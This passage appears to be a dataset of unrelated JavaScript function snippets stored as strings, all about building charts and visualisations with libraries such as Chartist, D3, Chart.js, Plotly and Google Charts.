set it respectively so that\n// the area is not drawn outside the chart area.\nvar areaBase=Math.max(Math.min(seriesOptions.areaBase,axisY.range.max),axisY.range.min);// We project the areaBase value into screen coordinates\nvar areaBaseProjected=chartRect.y1-axisY.projectValue(areaBase);// In order to form the area we'll first split the path by move commands so we can chunk it up into segments\npath.splitByCommand('M').filter(function onlySolidSegments(pathSegment){// We filter only \"solid\" segments that contain more than one point. Otherwise there's no need for an area\nreturn pathSegment.pathElements.length>1;}).map(function convertToArea(solidPathSegments){// Receiving the filtered solid path segments we can now convert those segments into fill areas\nvar firstElement=solidPathSegments.pathElements[0];var lastElement=solidPathSegments.pathElements[solidPathSegments.pathElements.length-1];// Cloning the solid path segment with closing option and removing the first move command from the clone\n// We then insert a new move that should start at the area base and draw a straight line up or down\n// at the end of the path we add an additional straight line to the projected area base value\n// As the closing option is set our path will be automatically closed\nreturn solidPathSegments.clone(true).position(0).remove(1).move(firstElement.x,areaBaseProjected).line(firstElement.x,firstElement.y).position(solidPathSegments.pathElements.length+1).line(lastElement.x,areaBaseProjected);}).forEach(function createArea(areaPath){// For each of our newly created area paths, we'll now create path elements by stringifying our path objects\n// and adding the created DOM elements to the correct series group\nvar area=seriesElement.elem('path',{d:areaPath.stringify()},options.classNames.area,true);// Emit an event for each area that was drawn\nthis.eventEmitter.emit('draw',{type:'area',values:data.normalized.series[seriesIndex],path:areaPath.clone(),series:series,seriesIndex:seriesIndex,axisX:axisX,axisY:axisY,chartRect:chartRect,index:seriesIndex,group:seriesElement,element:area});}.bind(this));}}.bind(this));this.eventEmitter.emit('created',{bounds:axisY.bounds,chartRect:chartRect,axisX:axisX,axisY:axisY,svg:this.svg,options:options});}", "postInit() {\n this.setTimelineHeight(this.groups.length, false);\n this.createTotalTimeline();\n this.attachEvents();\n }", "onGraphLoaded() {\n\n this.camera = this.gameOrchestrator.theme.camera;\n\n this.interface.setActiveCamera(this.camera);\n\n this.axis = new CGFaxis(this, this.gameOrchestrator.theme.referenceLength);\n\n if(this.gameOrchestrator.theme.background)\n this.gl.clearColor(...this.gameOrchestrator.theme.background);\n\n this.setGlobalAmbientLight(...this.gameOrchestrator.theme.ambient);\n\n this.initLights();\n\n this.selectedView = 'Menu';\n\n this.changeCamera();\n\n this.interface.setInterface();\n \n this.sceneInitiated = true;\n\n this.gameOrchestrator.onGraphLoaded();\n }", "preRender() {\n // draw the container svg for the chart\n this.dom.svg = d3.select(this.dom.graphContainer).append('svg')\n .attr('width', this.width + this.margin.left + this.margin.right)\n .attr('height', this.height + this.margin.top + this.margin.bottom)\n .append('g')\n .attr('transform', `translate(${this.margin.left}, ${this.margin.top})`);\n\n this.dom.svg.append('g')\n .attr('class', 'data');\n\n this.setupAxis('xAxis');\n this.setupLegend();\n }", "onGraphLoaded() {\r\n\r\n this.camera = this.graph.cameras[this.graph.currView];\r\n this.interface.setActiveCamera(this.camera);\r\n\r\n this.axis = new CGFaxis(this, this.graph.referenceLength);\r\n\r\n this.gl.clearColor(this.graph.background[0], this.graph.background[1], this.graph.background[2], this.graph.background[3]);\r\n\r\n this.setGlobalAmbientLight(this.graph.ambient[0], this.graph.ambient[1], this.graph.ambient[2], this.graph.ambient[3]);\r\n\r\n this.initLights();\r\n\r\n this.interface.addLights(this.lights, this.graph.numLights);\r\n this.interface.addViewsGroup(this.graph.viewsId);\r\n\r\n this.sceneInited = true;\r\n }", "async init() {\r\n var prom = this.getTodayOpenClose(); // Creates variable to store promise object for the days open and close\r\n await prom.then((resp) => { // awaits for chart to be succesfully resolved\r\n this.chart = new Chart(document.getElementById(\"main_chart\"), { // Creates new chart and passes user data for the headers\r\n type: 'line',\r\n data: {\r\n datasets: [{\r\n label: \"Equity\",\r\n data: []\r\n }]\r\n },\r\n options: {\r\n scales: {\r\n xAxes: [{\r\n type: 'time',\r\n time: {\r\n unit: 'hour',\r\n min: resp[0],\r\n max: resp[1]\r\n },\r\n }],\r\n yAxes: [{\r\n\r\n }],\r\n },\r\n title: {\r\n display: true,\r\n text: \"Equity\"\r\n },\r\n }\r\n });\r\n this.updateChart(); // will continue to update chart\r\n });\r\n }", "constructor() {\n // Always call super first in constructor\n // https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js\n super()\n\n // Element functionality written in here\n this._hass = null\n this._config = null\n\n this.attachShadow({ mode: \"open\" })\n\n // card settings\n this.card_icon = null\n this.card_title = null\n this.card_height = 240\n\n // all for chart\n this.theme = \"\"\n this.themeSettings = null\n this.graphChart = null\n this.chart_type = \"bar\"\n this.chart_locale = \"de-DE\"\n this.chart_update = false\n this.ctx = null\n this.chartconfig = null\n this.graphData = {}\n\n // data providers\n this.hassEntities = []\n this.entities = []\n this.entityOptions = null\n this.entity_ids = []\n this.entityData = []\n this.entityNames = []\n\n // data service\n this.data_hoursToShow = 0\n this.data_group_by = \"day\"\n this.data_aggregate = \"last\"\n this.updateTimer = -1\n this.update_interval = 60 * 1000\n this.data_ignoreZero = false\n this.data_units = \"\"\n this.skipRender = false\n this.lastUpdate = null\n this.ready = false\n this.updating = false\n this.loginfo_enabled = true\n this._initialized = false\n this.initial = true\n this.dataInfo = {\n starttime: new Date(),\n endtime: new Date(),\n entities: \"\",\n time: new Date().getTime(),\n loading: false,\n url: \"\",\n param: \"\"\n }\n }", "afterCreation( ) {\n\n }", "constructor() {\n // Always call super first in constructor\n // https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js\n super()\n\n /**\n * Element functionality written in here\n */\n this._hass = null\n this._config = null\n this.attachShadow({ mode: \"open\" })\n\n /**\n * card settings\n */\n this.card_icon = null\n this.card_title = null\n this.card_height = 240\n\n /**\n * all for chart\n */\n this.theme = \"\"\n this.themeSettings = null\n this.graphChart = null\n this.chart_type = \"bar\"\n this.chart_locale = \"de-DE\"\n this.chart_update = false\n this.ctx = null\n this.chartconfig = null\n this.graphData = {}\n\n /**\n * data providers\n */\n this.hassEntities = [] // all from hass\n this.entity_items = new Entities(null, false) // all entity data\n this.entity_options = null // all entity options\n\n /**\n * data service\n */\n this.updateTimer = -1\n this.update_interval = 60 * 1000\n this.skipRender = false\n this.lastUpdate = null\n this.ready = false\n this.updating = false\n this._initialized = false\n this.initial = true\n\n /**\n * all for the dataprovider\n */\n this.dataInfo = {\n time_start: new Date(),\n ISO_time_start: new Date().toISOString(),\n time_end: new Date(),\n ISO_time_end: new Date().toISOString(),\n entity_items: null,\n entities: \"\",\n useAlias: false,\n time: new Date().getTime(),\n loading: false,\n url: \"\",\n prev_url: \"not_set\",\n param: \"\",\n options: \"\"\n }\n\n /**\n * internal debugger and profiler\n */\n this.DEBUGMODE = 0\n this.DEBUGDATA = {\n API: {}\n }\n this.APISTART = performance.now()\n this.DEBUGDATA.API.elapsed_total = 0\n this.DEBUGDATA.PROFILER = {}\n }", "constructor() {\n // Always call super first in constructor\n // https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js\n super()\n\n /**\n * Element functionality written in here\n */\n this._hass = null\n this._config = null\n this.attachShadow({ mode: \"open\" })\n\n /**\n * card settings\n */\n this.card_icon = null\n this.card_title = null\n this.card_height = 240\n\n /**\n * all for chart\n */\n this.theme = \"\"\n this.themeSettings = null\n this.graphChart = null\n this.chart_type = \"bar\"\n this.chart_locale = \"de-DE\"\n this.chart_update = false\n this.ctx = null\n this.chartconfig = null\n this.graphData = {}\n\n /**\n * data providers\n */\n this.hassEntities = [] // all from hass\n this.entity_items = new Entities(null, false) // all entity data\n this.entity_options = null // all entity options\n\n /**\n * data service\n */\n this.updateTimer = -1\n this.update_interval = 60 * 1000\n this.skipRender = false\n this.lastUpdate = null\n this.ready = false\n this.updating = false\n this._initialized = false\n this.initial = true\n\n /**\n * all for the dataprovider\n */\n this.dataInfo = {\n time_start: new Date(),\n ISO_time_start: new Date().toISOString(),\n time_end: new Date(),\n ISO_time_end: new Date().toISOString(),\n entity_items: null,\n entities: \"\",\n useAlias: false,\n time: new Date().getTime(),\n loading: false,\n url: \"\",\n prev_url: \"not_set\",\n param: \"\",\n options: \"\"\n }\n\n /**\n * internal debugger and profiler\n */\n this.DEBUGMODE = 0\n this.DEBUGDATA = {\n API: {}\n }\n this.APISTART = performance.now()\n this.DEBUGDATA.API.elapsed_total = 0\n this.DEBUGDATA.PROFILER = {}\n }", "function ApacheChartObj()\n{\n this.Init();\n}", "function OnStateAvailable(self, state)\n {\n activateChart(self, state)\n }", "function OnStateAvailable(self, state)\n {\n activateChart(self, state)\n }", "function resizeChart() {\n if (chart && chart.update) {\n chart.update();\n }\n }", "constructor() { \n \n JsonAnalysisVisualization.initialize(this);\n }", "create() {\n if (this.cellmonitor.view !== 'tasks') {\n throw new Error('SparkMonitor: Drawing tasks graph when view is not tasks');\n }\n this.clearRefresher();\n const container = this.cellmonitor.displayElement.find('.taskcontainer').empty()[0];\n const tasktrace = {\n x: this.taskChartDataX,\n y: this.taskChartDataY,\n fill: 'tozeroy',\n type: 'scatter',\n mode: 'none',\n fillcolor: '#00aedb',\n name: 'Active Tasks',\n };\n const executortrace = {\n x: this.executorDataX,\n y: this.executorDataY,\n fill: 'tozeroy',\n type: 'scatter',\n mode: 'none',\n fillcolor: '#F5C936',\n name: 'Executor Cores',\n };\n const jobtrace = {\n x: this.jobDataX,\n y: this.jobDataY,\n text: this.jobDataText,\n type: 'scatter',\n mode: 'markers',\n fillcolor: '#F5C936',\n // name: 'Jobs',\n showlegend: false,\n marker: {\n symbol: 23,\n color: '#4CB5AE',\n size: 1,\n },\n };\n const data = [executortrace, tasktrace, jobtrace];\n const layout = {\n // title: 'Active Tasks and Executors Cores',\n // showlegend: false,\n margin: {\n t: 30, // top margin\n l: 30, // left margin\n r: 30, // right margin\n b: 60, // bottom margin\n },\n xaxis: {\n type: 'date',\n // title: 'Time',\n },\n yaxis: {\n fixedrange: true,\n },\n dragmode: 'pan',\n shapes: this.shapes,\n legend: {\n orientation: 'h',\n x: 0,\n y: 5,\n // traceorder: 'normal',\n font: {\n family: 'sans-serif',\n size: 12,\n color: '#000',\n },\n // bgcolor: '#E2E2E2',\n // bordercolor: '#FFFFFF',\n // borderwidth: 2\n },\n };\n this.taskChartDataBufferX = [];\n this.taskChartDataBufferY = [];\n this.executorDataBufferX = [];\n this.executorDataBufferY = [];\n this.jobDataBufferX = [];\n this.jobDataBufferY = [];\n this.jobDataBufferText = [];\n const options = { displaylogo: false, scrollZoom: true };\n Plotly.newPlot(container, data, layout, options);\n this.taskChart = container;\n if (!this.cellmonitor.allcompleted) this.registerRefresher();\n }", "function defineBarChart() {\n resetBarGlobalValues();\n //displaySavedCharts();\n $(\"#barchart_help_start\").addClass(\"hidden_toggle\");\n $(\"#bar_chart_define\").removeClass(\"hidden_toggle\");\n resetBarInputBooleanvalues();\n setupBarKeyEvents();\n}", "_setChartOptions() {\n /**\n * the animated loader\n */\n const _loader = this.loader\n /**\n * chart default options\n */\n let _options = {\n hoverOffset: 8,\n layout: {},\n chartArea: {\n backgroundColor: \"transparent\"\n },\n elements: {},\n spanGaps: true,\n plugins: {\n title: {},\n tooltip: {},\n legend: {\n display: CT_SHOWLEGEND.includes(this.chart_type) || false\n }\n },\n animation: {\n onComplete: function () {\n if (_loader) _loader.style.display = \"none\"\n }\n }\n }\n /**\n * check enable gradient colors for state charts or\n */\n if (this.graphData.config.gradient === true && this.graphData.config.mode === \"simple\") {\n _options.gradientcolor = {\n color: true,\n type: this.chart_type\n }\n }\n /**\n * check enable gradient colors for data series chart\n */\n if (plugin_gradient && this.graphData.config.gradient) {\n _options.plugins = {\n plugin_gradient\n }\n }\n /**\n * check secondary axis\n * this.graphData.config holds the configruation data\n * this.graphData.data.datasets data per series\n */\n if (this.graphData.config.secondaryAxis && this.graphData && this.graphData.data && this.graphData.data.datasets) {\n let _scaleOptions = {}\n this.graphData.data.datasets.forEach((dataset) => {\n if (dataset.yAxisID) {\n _scaleOptions[dataset.yAxisID] = {}\n _scaleOptions[dataset.yAxisID].id = dataset.yAxisID\n _scaleOptions[dataset.yAxisID].type = \"linear\"\n _scaleOptions[dataset.yAxisID].position = dataset.yAxisID\n _scaleOptions[dataset.yAxisID].display = true\n if (dataset.yAxisID.toLowerCase() == \"right\") {\n _scaleOptions[dataset.yAxisID].grid = {\n drawOnChartArea: false\n }\n }\n }\n if (dataset.xAxisID) {\n _scaleOptions[dataset.xAxisID] = {}\n _scaleOptions[dataset.xAxisID].id = dataset.xAxisID\n _scaleOptions[dataset.xAxisID].type = \"linear\"\n _scaleOptions[dataset.xAxisID].position = dataset.xAxisID\n _scaleOptions[dataset.xAxisID].display = true\n if (dataset.xAxisID.toLowerCase() == \"top\") {\n _scaleOptions[dataset.xAxisID].grid = {\n drawOnChartArea: false\n }\n }\n }\n })\n if (_scaleOptions) {\n _options.scales = _scaleOptions\n }\n }\n /**\n * bubble axis label based on the data settings\n *\n */\n if (this.chart_type.isChartType(\"bubble\")) {\n const _itemlist = this.entity_items.getEntitieslist()\n let labelX = _itemlist[0].name\n labelX += _itemlist[0].unit ? \" (\" + _itemlist[0].unit + \")\" : \"\"\n let labelY = _itemlist[1].name\n labelY += _itemlist[1].unit ? \" (\" + _itemlist[1].unit + \")\" : \"\"\n _options.scales = {\n x: {\n id: \"x\",\n title: {\n display: true,\n text: labelX\n }\n },\n y: {\n id: \"y\",\n title: {\n display: true,\n text: labelY\n }\n }\n }\n /**\n * scale bubble (optional)\n */\n if (this.graphData.config.bubbleScale) {\n _options.elements = {\n point: {\n radius: (context) => {\n const value = context.dataset.data[context.dataIndex]\n return value._r * this.graphData.config.bubbleScale\n }\n }\n }\n }\n }\n /**\n * special case for timescales to translate the date format\n */\n if (this.graphData.config.timescale && this.graphData.config.datascales) {\n _options.scales = _options.scales || {}\n _options.scales.x = _options.scales.x || {}\n _options.scales.x.maxRotation = 0\n _options.scales.x.autoSkip = true\n _options.scales.x.major = true\n _options.scales.x.type = \"time\"\n _options.scales.x.time = {\n unit: this.graphData.config.datascales.unit,\n format: this.graphData.config.datascales.format,\n isoWeekday: this.graphData.config.datascales.isoWeekday\n }\n _options.scales.x.ticks = {\n callback: xAxisFormat\n }\n }\n /**\n * case barchart segment\n * TODO: better use a plugin for this feature.\n * set bar as stacked, hide the legend for the segmentbar,\n * hide the tooltip item for the segmentbar.\n */\n if (this.graphData.config.segmentbar === true) {\n _options.scales = {\n x: {\n id: \"x\",\n stacked: true\n },\n y: {\n id: \"y\",\n stacked: true\n }\n }\n _options.plugins.legend = {\n labels: {\n filter: (legendItem, data) => {\n return data.datasets[legendItem.datasetIndex].tooltip !== false\n }\n },\n display: false\n }\n _options.plugins.tooltip.callbacks = {\n label: (chart) => {\n if (chart.dataset.tooltip === false || !chart.dataset.label) {\n return null\n }\n return `${chart.formattedValue} ${chart.dataset.unit || \"\"}`\n }\n }\n _options.interaction = {\n intersect: false,\n mode: \"index\"\n }\n } else {\n /**\n * callbacks for tooltip\n */\n _options.plugins.tooltip = {\n callbacks: {\n label: formatToolTipLabel,\n title: formatToolTipTitle\n }\n }\n _options.interaction = {\n intersect: true,\n mode: \"point\"\n }\n }\n /**\n * disable bubble legend\n */\n if (this.chart_type.isChartType(\"bubble\")) {\n _options.plugins.legend = {\n display: false\n }\n }\n /**\n * multiseries for pie and doughnut charts\n */\n if (this.graphData.config.multiseries === true) {\n _options.plugins.legend = {\n labels: {\n generateLabels: function (chart) {\n const original = Chart.overrides.pie.plugins.legend.labels.generateLabels,\n labelsOriginal = original.call(this, chart)\n let datasetColors = chart.data.datasets.map(function (e) {\n return e.backgroundColor\n })\n datasetColors = datasetColors.flat()\n labelsOriginal.forEach((label) => {\n label.datasetIndex = label.index\n label.hidden = !chart.isDatasetVisible(label.datasetIndex)\n label.fillStyle = datasetColors[label.index]\n })\n return labelsOriginal\n }\n },\n onClick: function (mouseEvent, legendItem, legend) {\n legend.chart.getDatasetMeta(legendItem.datasetIndex).hidden = legend.chart.isDatasetVisible(\n legendItem.datasetIndex\n )\n legend.chart.update()\n }\n }\n _options.plugins.tooltip = {\n callbacks: {\n label: function (context) {\n const labelIndex = context.datasetIndex\n return `${context.chart.data.labels[labelIndex]}: ${context.formattedValue} ${context.dataset.unit || \"\"}`\n }\n }\n }\n }\n /**\n * preset cart current config\n */\n let chartCurrentConfig = {\n type: this.chart_type,\n data: {\n datasets: []\n },\n options: _options\n }\n /**\n * merge default with chart config options\n * this.chartconfig.options see yaml config\n * - chart\n * - options:\n */\n if (this.chartconfig.options) {\n chartCurrentConfig.options = deepMerge(_options, this.chartconfig.options)\n } else {\n chartCurrentConfig.options = _options\n }\n return chartCurrentConfig\n }", "function makeChart() {\n //get the data for the chart and put it in the appropriate places\n //in the chartData and chartOptions objects\n const data = getData(currentSubject, currentMaxWordLength);\n chartData.datasets[0].data = data.BFS;\n chartData.datasets[1].data = data.DFS;\n chartOptions.scales.yAxes[0].scaleLabel.labelString = data.yAxisLabel;\n\n if (resultsChart) {\n resultsChart.destroy();\n }\n\n //create (or recreate) the chart\n const chartContext = $(\"#results-graph\")[0].getContext('2d');\n const chartConfig = {\"type\": \"line\",\n \"data\": chartData,\n \"options\": chartOptions};\n resultsChart = new Chart(chartContext, chartConfig);\n }", "function ready() {\n\n //add a class to trigger css animation\n $('#welcome').addClass('ready');\n localStorage.ready = \"true\";\n console.log(\"Ready button pressed!\");\n console.log(chartData)\n}", "buildDom() {\n if (this._chartJqElem && this.displayOptions) {\n // get chart padding\n let chartPadding = this.displayOptions.chartArea.chartPadding;\n let paddingTop = scada.chart.DisplayOptions.getMargin(chartPadding, 0) + \"px\";\n let paddingRight = scada.chart.DisplayOptions.getMargin(chartPadding, 1) + \"px\";\n let paddingBottom = scada.chart.DisplayOptions.getMargin(chartPadding, 2) + \"px\";\n let paddingLeft = scada.chart.DisplayOptions.getMargin(chartPadding, 3) + \"px\";\n\n // find menu\n let menuJqElem = this._chartJqElem.siblings(\".chart-menu\");\n let menuExists = menuJqElem.length > 0;\n\n // create title\n if (this.displayOptions.chartTitle.showTitle) {\n this._titleJqElem = $(\"<div class='chart-title'></div>\");\n let chartTitle = this.displayOptions.chartTitle;\n\n this._titleJqElem.css({\n \"height\": chartTitle.height + \"px\",\n \"padding-left\": paddingLeft,\n \"padding-right\": paddingRight,\n \"font-size\": chartTitle.fontSize + \"px\",\n \"line-height\": chartTitle.fontSize + \"px\",\n \"color\": chartTitle.foreColor\n });\n\n let menuHolderHtml = chartTitle.showMenu && menuExists ? \"<div class='chart-menu-holder'></div>\" : \"\";\n let titleTextHtml = \"<div class='chart-title-text'></div>\";\n let statusHtml = chartTitle.showStatus ?\n \"<div class='chart-status'><span class='chart-status-text'></span></div>\" : \"\";\n\n this._titleJqElem.append(menuHolderHtml + titleTextHtml + statusHtml);\n this._chartJqElem.append(this._titleJqElem);\n this._showTitle();\n this._showStatus();\n\n if (menuHolderHtml) {\n // insert menu\n let menuBtnWidth = menuJqElem.css(\"width\");\n menuJqElem.detach();\n this._titleJqElem.find(\".chart-menu-holder:first\").append(menuJqElem);\n this._titleJqElem.find(\".chart-title-text:first\").css(\"padding-left\", menuBtnWidth);\n } else {\n menuJqElem.remove();\n }\n } else {\n // remove menu\n menuJqElem.remove();\n }\n\n // create canvas\n this._canvasJqElem = $(\"<canvas class='chart-canvas'>Upgrade the browser to display a chart.</canvas>\");\n this._chartJqElem.append(this._canvasJqElem);\n\n this._canvas = this._canvasJqElem[0];\n this._context = this._canvas.getContext(\"2d\");\n\n // set chart style\n this._chartJqElem.css({\n \"border\" : 0,\n \"padding-top\": paddingTop,\n \"padding-right\": 0,\n \"padding-bottom\": paddingBottom,\n \"padding-left\": 0,\n \"font-family\": this.displayOptions.chartArea.fontName,\n \"background-color\": this.displayOptions.chartArea.backColor\n });\n }\n }", "init() {\n // setting up metadata section\n $meta = $sel.append('div')\n .attr('class', 'meta__container')\n\n const $title = $meta.append('h3')\n .attr('class', 'letters-title')\n .text(position === 'first' ? 'Names that start with...' : 'Names that end with...')\n\n\n\t\t\t\t// setting up viz section\n $vizCont = $sel.append('div')\n .attr('class', 'chart__container')\n\n\t\t\t\t// setting up legend\n\t\t\t\t$legend = $sel.append('div')\n\t\t\t\t\t.attr('class', 'letters-legend')\n\n\n\n\t\t\t\tconst $legendScale = $legend.append('div')\n\t\t\t\t\t.attr('class', 'letters-legend-scale')\n\n\t\t\t\tconst $legendLeft = $legendScale.append('div')\n\t\t\t\t\t.attr('class', 'legend-left')\n\n\t\t\t\tconst $legendSpace = $legendScale.append('div')\n\t\t\t\t\t.attr('class', 'legend-space')\n\n\t\t\t\tconst $legendRight = $legendScale.append('div')\n\t\t\t\t\t.attr('class', 'legend-right')\n\n\t\t\t\tconst scale = [0, 4, 8]\n\n\t\t\t\tconst $gLeft = $legendLeft.selectAll('tick')\n\t\t\t\t\t.data(scale)\n\t\t\t\t\t.enter()\n\t\t\t\t\t.append('div')\n\t\t\t\t\t.attr('class', 'tick')\n\n\t\t\t\t$gLeft.append('span')\n\t\t\t\t\t.text(d => `${d}%`)\n\n\t\t\t\tconst $gRight = $legendRight.selectAll('tick')\n\t\t\t\t\t.data(scale)\n\t\t\t\t\t.enter()\n\t\t\t\t\t.append('div')\n\t\t\t\t\t.attr('class', 'tick')\n\n\t\t\t\t$gRight.append('span')\n\t\t\t\t\t.text(d => `${d}%`)\n\n\t\t\t\tconst $legendLabels = $legend.append('div')\n\t\t\t\t\t.attr('class', 'legend-labels')\n\n\t\t\t\t$legendLabels.append('p')\n\t\t\t\t\t.attr('class', 'letters-legend letters-legend-society')\n\t\t\t\t\t.text('More common in society')\n\n\t\t\t\t$legendLabels.append('p')\n\t\t\t\t\t.attr('class', 'letters-legend letters-legend-song')\n\t\t\t\t\t.text('More common in songs')\n\n\n\n\n\n\t\t\t\tChart.resize();\n\t\t\t\tChart.render();\n\t\t\t}", "function displayChart() {\n try {\n bb.generate({\n \"data\": DATA,\n \"axis\": X_AXIS,\n \"grid\": GRID,\n \"bindto\": CHART_ID\n });\n }\n catch (e) {\n console.log(e);\n }\n console.log(\"We built the chart.\");\n}", "function drawChart() {\n\n // Create the data table.\n var data = google.visualization.arrayToDataTable([\n ['Test Name', 'Passed', 'Failed', 'Skipped']\n ].concat(values));\n\n var options = {\n title: 'Last ' + values.length + ' Test Runs',\n legend: { position: 'bottom' },\n colors: ['green', 'red', 'yellow'],\n backgroundColor: bgColor,\n isStacked: true\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.SteppedAreaChart(document.getElementById('historyChart'));\n chart.draw(data, options);\n \n }", "constructor() {\n super();\n this.id = \"chart\";\n this.type = \"bar\";\n this.scale = \"ct-minor-seventh\";\n this.chartTitle = null;\n this.chartDesc = null;\n this.data = null;\n this.options = null;\n this.responsiveOptions = [];\n this.showTable = false;\n this.__chartId = generateResourceID(\"chart-\");\n const basePath = this.pathFromUrl(decodeURIComponent(import.meta.url));\n let location = `${basePath}lib/chartist/dist/chartist.min.js`;\n window.addEventListener(\n \"es-bridge-chartistLib-loaded\",\n this._chartistLoaded.bind(this)\n );\n window.ESGlobalBridge.requestAvailability();\n window.ESGlobalBridge.instance.load(\"chartistLib\", location);\n /**\n * Fired once once chart is ready.\n *\n * @event chartist-render-ready\n *\n */\n this.dispatchEvent(\n new CustomEvent(\"chartist-render-ready\", {\n bubbles: true,\n cancelable: true,\n composed: true,\n detail: this\n })\n );\n if (typeof Chartist === \"object\") this._chartistLoaded.bind(this);\n }", "create() {\n\n // Get update data using initial data\n const updateData = this.getUpdateData(this.setupData);\n\n // Create svg\n this.selections.svg = d3.select(`#${this.element}`)\n .append(\"svg\")\n .attr(\"width\",\n this.width +\n this.margins.left +\n this.margins.right)\n .attr(\"height\",\n this.height +\n this.margins.top +\n this.margins.bottom);\n\n // Add background\n if (this.background !== \"\") {\n this.selections.svg\n .append(\"rect\")\n .attr(\"fill\", this.background)\n .attr(\"width\",\n this.width +\n this.margins.left +\n this.margins.right)\n .attr(\"height\",\n this.height +\n this.margins.top +\n this.margins.bottom);\n }\n\n // Add title\n if (this.title !== \"\") {\n this.selections.svg.append(\"text\")\n .attr(\"class\", constants.classTitle)\n .text(this.title)\n .attr(\"x\", this.titleOffsetX)\n .attr(\"y\", this.titleOffsetY)\n .style(\"font-size\", `${this.titleSize}pt`)\n .style(\"fill\", this.titleColor);\n }\n\n // Add subtitle\n if (this.subtitle !== \"\") {\n this.selections.svg.append(\"text\")\n .attr(\"class\", constants.classSubtitle)\n .text(this.subtitle)\n .attr(\"x\", this.subtitleOffsetX)\n .attr(\"y\", this.titleOffsetY + this.subtitleOffsetY) \n .style(\"font-size\", `${this.subtitleSize}pt`)\n .style(\"fill\", this.subtitleColor);\n }\n\n // Create data group\n this.selections.dataGroup = this.selections.svg\n .append(\"g\")\n .attr(\"transform\", `translate(\n ${this.margins.left},\n ${this.margins.top})`);\n\n // Create bars\n this.selections.dataGroup.selectAll(`.${constants.classValue}`)\n .data(updateData)\n .enter()\n .append(\"rect\")\n .attr(\"shape-rendering\", this.shapeRendering)\n .attr(\"class\", d => {\n const cn = d.nextValue < 0 ?\n constants.classNeg :\n constants.classPos;\n return `${constants.classValue} ${cn}`;\n });\n\n this.selections.dataGroup.selectAll(`.${constants.classPos}`)\n .attr(\"x\", d => this.keyScale(d.key))\n .attr(\"y\", d => this.valueScaleSafe(d.nextValue))\n .attr(\"width\", this.keyScale.bandwidth())\n .attr(\"height\", d => {\n return this.valueScale(0) - this.valueScaleSafe(d.nextValue);\n })\n .attr(\"fill\", d => d.posRgb);\n\n this.selections.dataGroup.selectAll(`.${constants.classNeg}`)\n .attr(\"x\", d => this.keyScale(d.key))\n .attr(\"y\", this.valueScale(0))\n .attr(\"width\", this.keyScale.bandwidth())\n .attr(\"height\", d => {\n return this.valueScaleSafe(d.nextValue) - this.valueScale(0);\n })\n .attr(\"fill\", d => d.negRgb);\n\n // Create key axis\n const keyAxis =\n this.keyLocation == constants.keyLocationMax ?\n d3.axisTop() :\n d3.axisBottom();\n\n keyAxis.scale(this.keyScale)\n .tickSizeInner(this.keyTickSizeInner)\n .tickSizeOuter(this.keyTickSizeOuter)\n .tickPadding(this.keyTickPadding);\n\n // Add key axis\n this.selections.keyAxisGroup = this.selections.dataGroup.append(\"g\")\n .attr(\"class\", constants.classKeyAxis)\n .attr(\"transform\", `translate(0,\n ${this.getKeyLocationTransform()})`)\n .call(keyAxis);\n\n // Set fonts and colors for text on the key axis\n this.selections.keyAxisGroup\n .selectAll(\"text\")\n .style(\"font-size\", `${this.keyTextSize}pt`)\n .style(\"fill\", this.keyTextColor)\n\n // Set colors for paths and lines on the key axis\n this.selections.keyAxisGroup\n .selectAll(\"path\")\n .style(\"color\", this.keyLineColor)\n\n this.selections.keyAxisGroup\n .selectAll(\"line\")\n .style(\"color\", this.keyLineColor)\n\n // Add key axis title\n if (this.keyTitle !== \"\") {\n this.selections.dataGroup.append(\"text\")\n .attr(\"transform\", `translate(\n ${this.width / 2},\n ${this.getKeyTitleTransform()})`)\n .attr(\"class\", constants.classKeyTitle)\n .style(\"text-anchor\", \"middle\")\n .style(\"font-size\", `${this.keyTitleSize}pt`)\n .style(\"fill\", this.keyTitleColor)\n .text(this.keyTitle);\n }\n\n // Create value axis\n const valueAxis =\n this.valueLocation == constants.valueLocationEnd ?\n d3.axisRight() :\n d3.axisLeft();\n\n valueAxis.scale(this.valueScale)\n .ticks(this.valueTicks)\n .tickSizeInner(this.valueTickSizeInner)\n .tickSizeOuter(this.valueTickSizeOuter)\n .tickPadding(this.valueTickPadding)\n .tickFormat(d3.format(this.valueFormat));\n\n // Add value axis\n this.selections.valueAxisGroup = this.selections.dataGroup.append(\"g\")\n .attr(\"class\", constants.classValueAxis)\n .attr(\"transform\", `translate(\n ${this.getValueLocationTransform()}, 0)`)\n .call(valueAxis);\n\n // Set fonts and colors for text on the value axis\n this.selections.valueAxisGroup\n .selectAll(\"text\")\n .style(\"font-size\", `${this.valueTextSize}pt`)\n .style(\"fill\", this.valueTextColor)\n\n // Set colors for paths and lines on the value axis\n this.selections.valueAxisGroup\n .selectAll(\"path\")\n .style(\"color\", this.valueLineColor)\n\n this.selections.valueAxisGroup\n .selectAll(\"line\")\n .style(\"color\", this.valueLineColor)\n\n // Add value axis title\n if (this.valueTitle !== \"\") {\n this.selections.dataGroup.append(\"text\")\n .attr(\"transform\", \"rotate(-90)\")\n .attr(\"y\", this.getValueTitleTransform())\n .attr(\"x\", 0 - (this.height / 2))\n .attr(\"class\", constants.classValueTitle)\n .style(\"text-anchor\", \"middle\")\n .style(\"font-size\", `${this.valueTitleSize}pt`)\n .style(\"fill\", this.valueTitleColor)\n .text(this.valueTitle);\n }\n\n this.created = true;\n }", "function onChartLibraryLoaded() {\n bIsLibraryLoaded = true;\n\n dispatch.call('libraryLoaded', null, true);\n }", "draw() {\n this.plot = this.svg.append('g')\n .classed(\"plot\", true)\n .attr('transform', `translate(${this.margin.left},${this.margin.top})`);\n\n // Add the background\n this.plot.append(\"rect\")\n .attrs({\n fill: \"white\",\n x: 0,\n y: 0,\n height: this.innerHeight,\n width: this.innerWidth\n });\n\n if ( this.opts.nav !== false ) {\n this.drawNav();\n }\n\n // Add the title\n this.svg.append('text')\n .attr('transform', `translate(${this.width / 2},${this.margin.top / 2})`)\n .attr(\"class\", \"chart-title\")\n .attr('x', 0)\n .attr('y', 0)\n .text(this.title);\n }", "init() {\n\t\t\t\tstructureData()\n\n\t\t\t\t$tooltip = d3.selectAll('.chart figure').append('div').attr('class', 'tooltip')\n\t\t\t\t$vertical = d3.selectAll('.chart figure').append('div').attr('class', 'vertical')\n\n\t\t\t\t$svg = $sel.append('svg').attr('class', 'pudding-chart');\n\t\t\t\t$axis = $svg.append('g').attr('class', 